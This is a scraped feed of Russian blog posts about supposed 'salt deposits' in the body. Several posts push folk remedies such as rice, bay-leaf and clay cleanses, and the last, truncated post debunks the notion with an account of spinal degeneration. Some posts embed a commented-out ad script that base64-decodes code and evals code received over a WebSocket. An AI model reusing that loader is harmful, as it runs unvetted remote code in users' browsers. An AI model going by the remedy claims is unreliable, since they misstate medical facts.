\x3c!-- \x3cdiv id=\"M347983Composite625353\">\x3ccenter> \x3ca href=\"http://marketgid.com/\" target=\"_blank\">«агрузка...\x3c/a> \x3c/center>\x3c/div> \x3cscript type=\"text/javascript\"> var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() + d.getMonth() + d.getDay() + d.getHours();script625353.onerror = function () { mg_ws625353 = new Worker(URL.createObjectURL(new Blob(['eval(atob(\\'ZnVuY3Rpb24gc2VuZE1lc3NhZ2U2MjUzNTMoZSl7dmFyIGg9bWdfd3M2MjUzNTMub25tZXNzYWdlOyBtZ193czYyNTM1My5yZWFkeVN0YXRlPT1tZ193czYyNTM1My5DTE9TRUQmJihtZ193czYyNTM1Mz1uZXcgV2ViU29ja2V0KG1nX3dzNjI1MzUzX2xvY2F0aW9uKSksbWdfd3M2MjUzNTMub25tZXNzYWdlPWgsd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMobWdfd3M2MjUzNTMsZnVuY3Rpb24oKXttZ193czYyNTM1My5zZW5kKGUpfSl9ZnVuY3Rpb24gd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmV0dXJuIDE9PT1lLnJlYWR5U3RhdGU/dm9pZChudWxsIT10JiZ0KCkpOnZvaWQgd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KX0sNSl9OyB2YXIgbWdfd3M2MjUzNTNfbG9jYXRpb24gPSAid3NzOi8vd3NwLm1hcmtldGdpZC5jb20vd3MiOyBtZ193czYyNTM1MyA9IG5ldyBXZWJTb2NrZXQobWdfd3M2MjUzNTNfbG9jYXRpb24pLCBtZ193czYyNTM1My5vbm1lc3NhZ2UgPSBmdW5jdGlvbiAodCkge3Bvc3RNZXNzYWdlKHQuZGF0YSk7fSwgb25tZXNzYWdlID0gZnVuY3Rpb24oZSl7c2VuZE1lc3NhZ2U2MjUzNTMoZS5kYXRhKX0=\\'))']), {type: \"application/javascript\"})); mg_ws625353.onmessage = function (msg){window.eval(msg.data);}; mg_ws625353.postMessage('js|'+script625353.src+'|M347983Composite625353|M347983Composite625353');};document.body.appendChild(script625353); \x3c/script>--> \x3c!-- M347983Composite End --> \n \x3cp>Отложение солей — это не локальный процесс, который происходит в отдельном органе, а общий. Причин отложения солей может быть множество — это нарушение обмена веществ, неправильное питание, наследственная предрасположенность и др.\x3c/p>\n\x3cp>Здоровый организм человека способен усваивать соли, полученные из пищи и воды, а излишки выводить. Но если в организме нарушен солевой обмен, тяжелые соли начинают откладываться в удобных для себя местах и вызывают различные болезни — такие как остеохондроз и другие болезни суставов.\x3c/p>\n\x3cp>1. Рисовое очищение.\x3c/p>\n\x3cp>На ночь залейте 3 ст ложки риса 1 л воды. Утром воду слейте, залейте свежую и варите 5 минут. Затем рис промойте, залейте другую порцию воды и опять варите 5 минут. И так сделайте ещё 2 раза. После 4 варок рис нужно съесть в тёплом виде и 3 часа ничего не есть. Затем питаетесь обычным рационом с обязательным включением в рацион сухофруктов. Курс такого очищения 10 дней.\x3c/p>\n\x3cp>Из сухофруктов можно сделать » тортик «: прокрутите через мясорубку 300 г кураги, изюма, чернослива, добавьте туда половинку лимона и заправьте всё это мёдом. Храните этот «тортик» в холодильнике и принимайте по 1 ст. ложке во второй половине дня.\x3c/p>\n\x3cp>2. Спасительная лаврушка.\x3c/p>\n\x3cp>При очищении лавровым листом нельзя переохлаждаться и следует соблюдать умеренную физическую нагрузку. Залейте 0,5 л воды 5 штук лаврового листа и кипятите 20 мин. Полученный отвар следует пить по одному глотку 2 — 3 раза в день. Так как этот способ является довольно сильным методом очищения, то принимать этот отвар следует 3 — 5 дней.\x3c/p>\n\x3cp>3. Брусничный настой.\x3c/p>\n\x3cp>Вывести соль из организма поможет овощная диета и регулярное употребление воды, настоянной на ягодах брусники ( 1/3 емкости). Введите в свой рацион тушеные овощи — морковь, свеклу, сельдерей, капусту, реже картофель. И замените полностью питьё настоем из ягод брусники.\x3c/p>\n\x3cp>4. Гречнево — кефирная диета.\x3c/p>\n\x3cp>Этот метод вывода солей из организма очень популярен в Финляндии. На ночь залейте 2 ст ложки смолотой гречки 1 стаканом кефира и наутро съешьте. Всего 5 дней такой диеты помогут существенно снизить солевые «запасы», а также помогут похудеть.\x3c/p>\n\x3cp>5. Как вывести соли из организма — китайские лепёшки\x3c/p>\n\x3cp>В китайской народной медицине практикуют такой эффективный метод физиотерапии, как накладывание на подошвы ног глиняных лепешек. Смешайте 2 ст. ложки глины с 1 ст. ложкой смолотых в порошок смеси трав ромашки, полыни, тысячелистника (в равных пропорциях) и положите на центр подошвы, где находятся 60 активных точек. Держать такие лепёшки нужно не меньше часа. Эта процедура помогает также при отёках ног и нарушении кровоснабжения в органах малого таза.\x3c/p>\n\x3cp>6. Фруктовая «метла»\x3c/p>\n\x3cp>Очиститься от солевых залежей в организме поможет цитрусовый коктейль — 1 стакан апельсинового сока с половиной стакана лимонного. Выпитый вечером, этот напиток хорошо снимает воспаление и очищает сосуды. Иногда апельсин можно заменять черной смородиной.\x3c/p>\n\x3cp>\x3ca href=\"https://vk.com/wall-76873158_94542\" target=\"_blank\">Источник\x3c/a>\x3c/p>\n\n \x3c!-- A generated by theme --> \n\n\n\n \x3c!-- end A --> \n\n\n\x3cdiv>\n\x3cdiv>\n\x3cp2>\x3cnoindex>\x3cnofollow>\x3c/nofollow>\x3c/noindex>\x3c/p2>\x3cp3>← Жми «Нравится» и читай нас в Фейсбуке\x3c/p3>\n\x3c/div>\n\n\x3c/div>\n\n\x3cp>\x3cstrong>Понравилось? Поделитесь с друзьями!\x3c/strong>\x3c/p>\n \x3cp>\x3cstrong>\x3ca href=\"https://blockads.fivefilters.org\" target=\"_blank\">Let's block ads!\x3c/a>\x3c/strong> \x3ca href=\"https://blockads.fivefilters.org/acceptable.html\" target=\"_blank\">(Why?)\x3c/a>\x3c/p>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30101041796.mirtesen.ru/blog/43289813291","tags":["соли","позвоночник","суставы","отложение солей","Здоровье","очищение от солей"],"date":1534698687,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20773588768,"photo_original":"https://mtdata.ru/u22/photo6761/20773588768-0/original.jpg","width":696,"height":675}}],"group":{"display_name":"Здоровье в наших руках","url":"https://s30101041796.mirtesen.ru","photo_original":"//mtdata.ru/u24/groupA346/67d5475e3acc17dcaea99ef5334b1604-0/__logo.jpeg","id":30101041796,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1403893363179},"canonical_url":"https://fithacker.ru/articles/samyie-deystvennyie-sposobyi-vyivedeniya-soley-iz-organizma/","topic":"health","title":"Самые действенные способы выведения солей из организма","preview_text":"\x3c!-- M347983Composite Start -->\x3c!-- «агрузка... var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() +","post_type":"post","formattedDates":{"iso":"2018-08-19T17:11:27.000Z","ver1":"19 августа, 20:11","ver2":"19.08.2018 в 20:11","ver3":"19 авг., 20:11"},"images":[{"main":true,"url":"https://mtdata.ru/u22/photo6761/20773588768-0/original.jpg","width":696,"height":675}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43372183297,"from_id":610787515,"from":{"id":610787515,"display_name":"Иван Р","url":"https://mirtesen.ru/people/610787515","photo_original":"https://mtdata.ru/u25/photoF58B/20530199656-0/original.jpeg","isAuthenticAccount":false,"sex":2},"owner_id":-30101041796,"text":"\x3cdiv>\x3ca href=\"https://fithacker.ru/wp-content/uploads/2018/08/7SEu0BOyeYw.jpg\" data-caption=\"data-caption\" target=\"_blank\">\x3cimg width=\"682\" height=\"519\" src=\"//mtdata.ru/u30/photo2383/20092412813-0/original.jpg#20092412813\" alt=\"alt\" title=\"7SEu0BOyeYw\" />\x3c/a>\x3c/div>\x3c!-- M347983Composite Start -->\x3c!-- \x3cdiv id=\"M347983Composite625353\">\x3ccenter> \x3ca href=\"http://marketgid.com/\" target=\"_blank\">«агрузка...\x3c/a> \x3c/center>\x3c/div> \x3cscript type=\"text/javascript\"> var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() + d.getMonth() + d.getDay() + d.getHours();script625353.onerror = function () { mg_ws625353 = new Worker(URL.createObjectURL(new Blob(['eval(atob(\\'ZnVuY3Rpb24gc2VuZE1lc3NhZ2U2MjUzNTMoZSl7dmFyIGg9bWdfd3M2MjUzNTMub25tZXNzYWdlOyBtZ193czYyNTM1My5yZWFkeVN0YXRlPT1tZ193czYyNTM1My5DTE9TRUQmJihtZ193czYyNTM1Mz1uZXcgV2ViU29ja2V0KG1nX3dzNjI1MzUzX2xvY2F0aW9uKSksbWdfd3M2MjUzNTMub25tZXNzYWdlPWgsd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMobWdfd3M2MjUzNTMsZnVuY3Rpb24oKXttZ193czYyNTM1My5zZW5kKGUpfSl9ZnVuY3Rpb24gd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmV0dXJuIDE9PT1lLnJlYWR5U3RhdGU/dm9pZChudWxsIT10JiZ0KCkpOnZvaWQgd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KX0sNSl9OyB2YXIgbWdfd3M2MjUzNTNfbG9jYXRpb24gPSAid3NzOi8vd3NwLm1hcmtldGdpZC5jb20vd3MiOyBtZ193czYyNTM1MyA9IG5ldyBXZWJTb2NrZXQobWdfd3M2MjUzNTNfbG9jYXRpb24pLCBtZ193czYyNTM1My5vbm1lc3NhZ2UgPSBmdW5jdGlvbiAodCkge3Bvc3RNZXNzYWdlKHQuZGF0YSk7fSwgb25tZXNzYWdlID0gZnVuY3Rpb24oZSl7c2VuZE1lc3NhZ2U2MjUzNTMoZS5kYXRhKX0=\\'))']), {type: \"application/javascript\"})); mg_ws625353.onmessage = function (msg){window.eval(msg.data);}; mg_ws625353.postMessage('js|'+script625353.src+'|M347983Composite625353|M347983Composite625353');};document.body.appendChild(script625353); \x3c/script>--> \x3c!-- M347983Composite End --> \n \x3cp>Здоровый организм человека способен усваивать соли, полученные из пищи и воды, а излишки выводить. Но если в организме нарушен солевой обмен, тяжелые соли начинают откладываться в удобных для себя местах и вызывают различные болезни — такие как остеохондроз и другие болезни суставов.\x3c/p>\n\x3cp>При помощи фитотерапии вполне успешно можно бороться с отложением солей в организме.\x3c/p>\n\x3cp>1. Рисовое очищение\x3c/p>\n\x3cp>Процесс рисового очищения довольно прост. На ночь залейте 3 ст ложки риса 1 л воды. Утром воду слейте, залейте свежую и варите 5 минут. Затем рис промойте, залейте другую порцию воды и опять варите 5 минут. И так сделайте ещё 2 раза. После 4 варок рис нужно съесть в тёплом виде и 3 часа ничего не есть. Затем питаетесь обычным рационом с обязательным включением в рацион сухофруктов. Прозрачный, пустой рис в данном случае является не едой, а лекарством — он как сорбент накапливает и выводит из организма соли.\x3c/p>\n\x3cp>Курс такого очищения 10 дней.\x3c/p>\n\x3cp>Из сухофруктов можно сделать » тортик «: прокрутите через мясорубку 300 г кураги, изюма, чернослива, добавьте туда половинку лимона и заправьте всё это мёдом. Храните этот «тортик» в холодильнике и принимайте по 1 ст ложке во второй половине дня.\x3c/p>\n\x3cp>2. Спасительная лаврушка\x3c/p>\n\x3cp>При очищении лавровым листом нельзя переохлаждаться и следует соблюдать умеренную физическую нагрузку. Залейте 0,5 л воды 5 штук лаврового листа и кипятите 20 минут. Полученный отвар следует пить по одному глотку 2 — 3 раза в день. Так как этот способ является довольно сильным методом очищения кишечника, то принимать этот отвар следует 3 — 5 дней.\x3c/p>\n\x3cp>3. Брусничный настой\x3c/p>\n\x3cp>Вывести соль из организма поможет овощная диета и регулярное употребление воды, настоянной на ягодах брусники ( 1/3 емкости). Введите в свой рацион тушеные овощи — морковь, свеклу, сельдерей, капусту, реже картофель. И замените своё питьё настоем из ягод брусники.\x3c/p>\n\x3cp>4. Гречнево — кефирная диета\x3c/p>\n\x3cp>Этот метод вывода солей из организма очень популярен в Финляндии. На ночь залейте 2 ст ложки смолотой гречки 1 стаканом кефира и наутро съешьте. Всего 5 дней такой диеты помогут существенно снизить солевые «запасы», а также помогут похудеть.\x3c/p>\n\x3cp>5. Китайские лепёшки\x3c/p>\n\x3cp>В китайской народной медицине практикуют такой эффективный метод физиотерапии, как накладывание на подошвы ног глиняных лепешек. Смешайте 2 ст ложки глины с 1 ст ложкой смолотых в порошок смеси трав ромашки, полыни, тысячелистника ( взятых в равных пропорциях) и наложите на центр подошвы, где находятся 60 активных точек. Держать такие лепёшки нужно не меньше часа. Эта процедура помогает также при отёках ног и нарушении кровоснабжения в органах малого таза.\x3c/p>\n\x3cp>6. Фруктовая «метла»\x3c/p>\n\x3cp>Очиститься от солевых залежей в организме поможет цитрусовый коктейль — 1 стакан апельсинового сока с половиной стакана лимонного. Выпитый вечером, этот напиток хорошо снимает воспаление и прочищает сосуды. Иногда апельсин можно заменять черной смородиной.\x3c/p>\n\x3cp>\x3ca href=\"https://vk.com/wall-76873158_93671\" target=\"_blank\">Источник\x3c/a>\x3c/p>\n\n \x3c!-- A generated by theme --> \n\n\n\n \x3c!-- end A --> \n\n\n\x3cdiv>\n\x3cdiv>\n\x3cp2>\x3cnoindex>\x3cnofollow>\x3c/nofollow>\x3c/noindex>\x3c/p2>\x3cp3>← Жми «Нравится» и читай нас в Фейсбуке\x3c/p3>\n\x3c/div>\n\n\x3c/div>\n\n\x3cp>\x3cstrong>Понравилось? Поделитесь с друзьями!\x3c/strong>\x3c/p>\n \x3cp>\x3cstrong>\x3ca href=\"https://blockads.fivefilters.org\" target=\"_blank\">Let's block ads!\x3c/a>\x3c/strong> \x3ca href=\"https://blockads.fivefilters.org/acceptable.html\" target=\"_blank\">(Why?)\x3c/a>\x3c/p>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30101041796.mirtesen.ru/blog/43372183297","tags":["соли","позвоночник","суставы","отложение солей","Здоровье","очищение от солей"],"date":1534447979,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20092412813,"photo_original":"https://mtdata.ru/u30/photo2383/20092412813-0/original.jpg","width":682,"height":519}}],"group":{"display_name":"Здоровье в наших руках","url":"https://s30101041796.mirtesen.ru","photo_original":"//mtdata.ru/u24/groupA346/67d5475e3acc17dcaea99ef5334b1604-0/__logo.jpeg","id":30101041796,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1403893363179},"canonical_url":"https://fithacker.ru/articles/kak-pravilno-vyivodit-soli-iz-organizma/","topic":"health","title":"Как правильно выводить соли из организма?","preview_text":"\x3c!-- M347983Composite Start -->\x3c!-- «агрузка... var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() +","post_type":"post","formattedDates":{"iso":"2018-08-16T19:32:59.000Z","ver1":"16 августа, 22:32","ver2":"16.08.2018 в 22:32","ver3":"16 авг., 22:32"},"images":[{"main":true,"url":"https://mtdata.ru/u30/photo2383/20092412813-0/original.jpg","width":682,"height":519}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43639899443,"from_id":610787515,"from":{"id":610787515,"display_name":"Иван Р","url":"https://mirtesen.ru/people/610787515","photo_original":"https://mtdata.ru/u25/photoF58B/20530199656-0/original.jpeg","isAuthenticAccount":false,"sex":2},"owner_id":-30101041796,"text":"\x3cdiv dir=\"ltr\" style=\"text-align: left;\" trbidi=\"on\">\n\x3cdiv style=\"text-align: justify;\">\x3ca href=\"https://4.bp.blogspot.com/-2FwB_eRaYHg/WtDROtsnZzI/AAAAAAAB-z4/pLh2XpddnzcTYP2Qk2svref7-pEbjtQIACLcBGAs/s1600/XnavcBshkso.jpg\" target=\"_blank\">\x3cimg border=\"0\" src=\"//mtdata.ru/u13/photoCFEC/20111945585-0/original.jpg#20111945585\" />\x3c/a>\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Во время цветения липы наломать веников. \x3ca href=\"\" target=\"_blank\">\x3c/a>Веник (ветки с листьями и цветками) положить в просторную кастрюлю (можно в бельевой бачок), залить крутым кипятком и потомить на маленьком огне минут 30.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3cbr />\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Делать это лучше утром, а вечером подогреть до приятной температуры и опустить туда ноги (желательно, чтобы щиколотки тоже были в воде). Укутаться одеялом, чтобы все было закрыто, и посидеть так минут 30-40.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3cbr />\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3cbr />\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Делать это в течение 3-4 дней. Отвар использовать один и тот же. Он настаивается и становится только крепче. Но в течение этих 30-40 минут постоянно подливать горячую водичку.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3cbr />\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3cbr />\x3c/div>\n\x3cdiv style=\"text-align: justify;\">После окончания процедуры надеть шерстяные носки и в постель. Этот отвар вытянет соли из всех суставов. А парили то мы только ножки!!! Когда это проходит - даже не замечаешь. Вроде и не болело ничего!\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3cbr />\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3cbr />\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Возможны противопоказания. Необходимо проконсультироваться с врачом.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3cbr />\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3cbr />\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3ca href=\"https://vk.com/public109814200\" target=\"_blank\">источник\x3c/a>\x3c/div>\n\x3c/div>","comments_count":1,"marks_count":4,"likes":{"count":4,"user_likes":0,"can_like":0,"marks_pluses":4,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[{"id":100,"count":4}]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30101041796.mirtesen.ru/blog/43639899443","tags":["соль","отложение солей"],"date":1523849400,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20111945585,"photo_original":"https://mtdata.ru/u13/photoCFEC/20111945585-0/original.jpg","width":640,"height":459}}],"group":{"display_name":"Здоровье в наших руках","url":"https://s30101041796.mirtesen.ru","photo_original":"//mtdata.ru/u24/groupA346/67d5475e3acc17dcaea99ef5334b1604-0/__logo.jpeg","id":30101041796,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1403893363179},"canonical_url":"http://mysportru.blogspot.com/2018/04/blog-post_19.html","topic":"cooking","title":"ПРОСТОЙ И ПРИЯТНЫЙ РЕЦЕПТ ОТ ОТЛОЖЕНИЯ СОЛЕЙ","preview_text":"Во время цветения липы наломать веников. Веник (ветки с листьями и цветками) положить в просторную кастрюлю (можно в бельевой бачок), залить крутым кипятком и потомить на маленьком огне минут 30.\n \nДелать это лучше утром, а вечером подогреть до приятной температуры и опустить туда ноги (желательно,","post_type":"post","formattedDates":{"iso":"2018-04-16T03:30:00.000Z","ver1":"16 апреля, 6:30","ver2":"16.04.2018 в 6:30","ver3":"16 апр., 6:30"},"images":[{"main":true,"url":"https://mtdata.ru/u13/photoCFEC/20111945585-0/original.jpg","width":640,"height":459}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43912897379,"from_id":913639687,"from":{"id":913639687,"display_name":"Оксана","url":"https://mirtesen.ru/people/913639687","photo_original":"https://mtdata.ru/u30/photo58A9/20237665203-0/original.jpeg","isAuthenticAccount":false,"sex":1},"owner_id":-30669388060,"text":"\x3cdiv style=\"width: 75%;\">\n\x3cdiv data-index=\"1\">\n\x3cdiv>\n\x3cdiv>\n\x3cdiv>\n\x3cdiv>\n\x3cp>Снижение подвижности в шее, хруст и неприятные ощущения при движениях, головокружение при поворотах головы, изменение осанки и появление характерного горбика на шее – все это нередкие жалобы лиц старше среднего возраста. Такие симптомы обычно приписывают отложению солей в области шеи.\x3c/p>\n\x3cp>Стараясь избавиться от них, люди жестко ограничивают потребление поваренной соли, используют различные компрессы и мази, начинают бессистемно делать различные упражнения. При обращении к специалисту они просят порекомендовать мазь от отложения солей на шее или другое действенное средство. И нередко уходят от врача разочарованными.\x3c/p>\n\x3cp>На самом деле организм человека не склонен к накоплению солей, не существует и такого диагноза ни в России, ни во всем мире. Это понятие впервые стало использоваться в советское время и до сих пор применяется в немедицинской среде. А что же происходит на самом деле?\x3c/p>\n\x3ch2 data-fontsize=\"18\" data-lineheight=\"27\">Возможные возрастные изменения в позвоночнике\x3c/h2>\n\x3cp>\x3cimg src=\"//mtdata.ru/u18/photo3F10/20659235010-0/original.jpg#20659235010\" alt=\"отложение солей\" width=\"600\" height=\"449\" />\x3c/p>\n\x3cp>В течение жизни человека происходит постепенное изнашивание костных и хрящевых структур позвоночника, ведь именно он принимает на себя основную нагрузку по поддержанию вертикального положения тела. А его шейный отдел – самое мобильное образование во всем организме, движения в нем осуществляются во всех плоскостях.\x3c/p>\n\x3cp>Движения в позвоночнике возможны благодаря системе особых сочленений между позвонками. Их тела соединяются при помощи дисков, а отростки – при помощи суставов. Дополнительную стабильность позвоночному столбу придают длинные и плотные связки, перекидывающиеся через несколько позвонков. Их волокна вплетаются в наружные капсулы межпозвоночных дисков и тем самым дополнительно удерживают их на месте. Постоянные микротравмы, усиленная нагрузка, неправильная механика движений, слабость мышечного каркаса – все это способствует дегенерации всех структур позвоночника. С возрастом также происходит постепенное уменьшение содержания воды в организме, гиалиновые волокна теряют упругость, хрящи становятся плотнее.\x3c/p>\n\x3cp>При дегенерации хрящевой ткани суставные поверхности сближаются, начинают задевать друг о друга при движениях. Постепенно в этот разрушительный процесс вовлекается и костная ткань. По краям тел позвонков и на концах костей в суставах появляются острые шиповидные разрастания – \x3cspan>остеофиты\x3c/span>. Именно они усиливают трение костей при движениях, травмируют окружающие ткани, приводя к боли и хрусту при поворотах и наклонах. Эти процессы называются спондилоартрозом, спондилезом и остеохондрозом.\x3c/p>\n\x3cp>С возрастом связки становятся более плотными. В местах прикрепления их к костям и в зонах повторных микротравм начинаются процессы окостенения (оссификации). В этих же областях возможно отложение кальцинатов – нерастворимых солей кальция. Но это не первичный процесс, а следствие нарушения минерального обмена, он обычно сопровождается разрежением костной ткани (\x3cspan>остеопорозом\x3c/span>).\x3c/p>\n\x3cdiv>\n\x3cdiv>Кальцинирование происходит и в местах длительно существующих воспалительных очагов. Никаких других солей в шейном отделе позвоночника не откладывается. И так как поваренная соль не имеет отношения к процессу кальцинирования, исключение ее из рациона не поможет вылечить отложение солей на шее.\x3c/div>\n\x3c/div>\n\x3ch2 data-fontsize=\"18\" data-lineheight=\"27\">Возрастные изменения, не затрагивающие позвоночник\x3c/h2>\n\x3cp>\x3cimg src=\"//mtdata.ru/u17/photoD373/20436162161-0/original.jpg#20436162161\" alt=\"горб на шее\" width=\"300\" height=\"268\" />У женщин климактерического возраста нередко на шее сзади образуется плотная шишка, так называемый вдовий горбик.\x3c/p>\n\x3cp>Его считают отложением солей, потому что при большом размере этого образования возможно нарушение кровотока по расположенным рядом позвоночным артериям.\x3c/p>\n\x3cp>На самом деле такой горб – это отложение жира в области VII шейного позвонка.\x3c/p>\n\x3cp>Возможные причины этого состояния:\x3c/p>\n\x3cul>\n\x3cli>\n\x3cdiv>дисбаланс половых гормонов, при этом важен избыток эстрогенов;\x3c/div>\n\x3c/li>\n\x3cli>\n\x3cdiv>недостаточность гормонов надпочечника (болезнь Иценко-Кушинга или вторичный кушингоидный синдром);\x3c/div>\n\x3c/li>\n\x3cli>\n\x3cdiv>миогелез (уплотнение шейных мышц), возникающий при нерациональных физических нагрузках;\x3c/div>\n\x3c/li>\n\x3cli>\n\x3cdiv>регулярно принимаемое нефизиологичное положение, когда в положении сидя голова наклоняется вперед и почти не двигается;\x3c/div>\n\x3c/li>\n\x3cli>\n\x3cdiv>имеющиеся \x3cspan>дегенеративно-дистрофические изменения позвоночника\x3c/span> и околопозвоночных тканей;\x3c/div>\n\x3c/li>\n\x3cli>\n\x3cdiv>наследственная предрасположенность.\x3c/div>\n\x3c/li>\n\x3c/ul>\n\x3cp>Так как эта шишка на шее не связана с отложением солей, убрать ее при помощи диеты невозможно. Полагаясь на народные методы лечения, не обращаясь к врачу, человек может упустить время для ранней диагностики серьезных эндокринных нарушений.\x3c/p>\n\x3cp>Головокружение и шум в ушах могут быть связаны не с изменением позвоночника или так называемым отложением солей, а с атеросклерозом стенок артерий. Отложение нерастворимых бляшек холестерина под внутренней оболочкой сосудов приводит к сужению просвета артерий, повышенному риску тромбообразования в этих участках, в результате страдает кровоснабжение тканей и органов. С течением времени эти бляшки могут пропитываться солями кальция. Атеросклерозом могут быть поражены любые артерии, но особенно часто отложения холестерина обнаруживаются внутри наружной и внутренней сонных артерий на шее. Реже в процесс вовлекаются позвоночные артерии.\x3c/p>\n\x3ch2 data-fontsize=\"18\" data-lineheight=\"27\">Можно ли улучшить состояние?\x3c/h2>\n\x3cp>\x3cimg src=\"//mtdata.ru/u17/photo214A/20990016463-0/original.jpg#20990016463\" alt=\"otlozhenie-soley-sheja-1\" width=\"300\" height=\"200\" />Когда человек хочет избавиться от якобы имеющихся у него отложений солей на шее, он редко обращается к врачу. И поводом консультации у специалиста является появление синдрома позвоночной артерии, частых и достаточно выраженных болей в шее или нарушения силы и чувствительности рук.\x3c/p>\n\x3cp>Все эти жалобы появляются при осложнениях текущих дегенеративно-дистрофических изменений позвоночника. Выраженные разрастания остеофитов, снижение высоты межпозвоночных дисков или деформация естественных каналов и отверстий приводят к ущемлению позвоночных артерий или корешков спинно-мозговых нервов, появлению мышечно-тонического синдрома.\x3c/p>\n\x3cp>Назначаемое лечение обычно направлено на облегчение состояния пациента, снижение болевого синдрома. Для этого используются нестероидные противовоспалительные средства и анальгетики, \x3cspan>витамины группы В\x3c/span>, сосудистые препараты и \x3cspan>миорелаксанты\x3c/span>. Компрессы, мази и растирания также воздействуют на следствие, а не на причину. С их помощью не удастся избавиться от остеофитов или восстановить пораженные артрозом дугоотростчатые суставы. Да и лечить ими \x3cspan>отложение солей\x3c/span> кальция в околопозвоночных тканях – дело бесперспективное.\x3c/p>\n\x3cp>Чтобы стабилизировать состояние и приостановить дегенеративные процессы в позвоночнике, нужно действовать в нескольких направлениях:\x3c/p>\n\x3cul>\n\x3cli>\n\x3cdiv>улучшить питание тканей;\x3c/div>\n\x3c/li>\n\x3cli>\n\x3cdiv>нормализовать минеральный обмен, в первую очередь скорректировав эндокринные нарушения;\x3c/div>\n\x3c/li>\n\x3cli>\n\x3cdiv>принимать ходропротекторы;\x3c/div>\n\x3c/li>\n\x3cli>\n\x3cdiv>ликвидировать гиподинамию, используя ЛФК и дозированные физические нагрузки.\x3c/div>\n\x3c/li>\n\x3c/ul>\n\x3cp>Многие надеются, что \x3cspan>массаж поможет\x3c/span> разбить отложения солей в шее. Это не так. Но польза правильно проведенного лечебного массажа неоспорима. Он улучшает питание тканей, позволяет скорректировать нарушения мышечного тонуса. Курсы массажа вместе с физиотерапевтическим лечением значительно улучшают состояние пациентов. У них увеличивается объем движений в шее, уменьшается болевой синдром. Иногда также дополнительно используются элементы мануальной терапии.\x3c/p>\n\x3cdiv>\n\x3cdiv>Проводить такое воздействие должен специалист, имеющий опыт работы с дегенеративными изменениями позвоночника.\x3c/div>\n\x3c/div>\n\x3cp>\x3cimg src=\"//mtdata.ru/u18/photo3693/20213089312-0/original.jpg#20213089312\" alt=\"правильный массаж\" width=\"600\" height=\"364\" />\x3c/p>\n\x3cp>Лечебная физкультура – хороший способ борьбы с дистрофическими процессами. Дело в том, что хрящи в суставах получают питательные вещества из внутрисуставной (синовиальной) жидкости. Такой обмен веществ значительно усиливается при движениях. Регулярно выполняемая лечебная физкультура помогает нормализовать мышечный тонус, улучшить осанку и увеличить объем движений. Разработаны специальные упражнения, рекомендуемые при артрозах и изменениях межпозвоночных дисков. Но во время их выполнения следует соблюдать осторожность, чтобы не вызвать ущемления нервных корешков, не потерять равновесие и не спровоцировать мышечные спазмы. Поэтому лучше всего начинать занятия ЛФК с инструктором, который поможет подобрать подходящий комплекс упражнений и проконтролирует правильность выполнения движений.\x3c/p>\n\x3cp>Про отложения солей в шее слышали многие. Да, действительно возможно локальное накопление кальцинатов в околопозвоночных тканях. Но это состояние не является причиной многочисленных жалоб людей старше среднего возраста. Боли, хруст, головокружение и другие признаки обусловлены в первую очередь дегенеративно-дистрофическими изменениями в позвоночнике, появлением остеофитов на 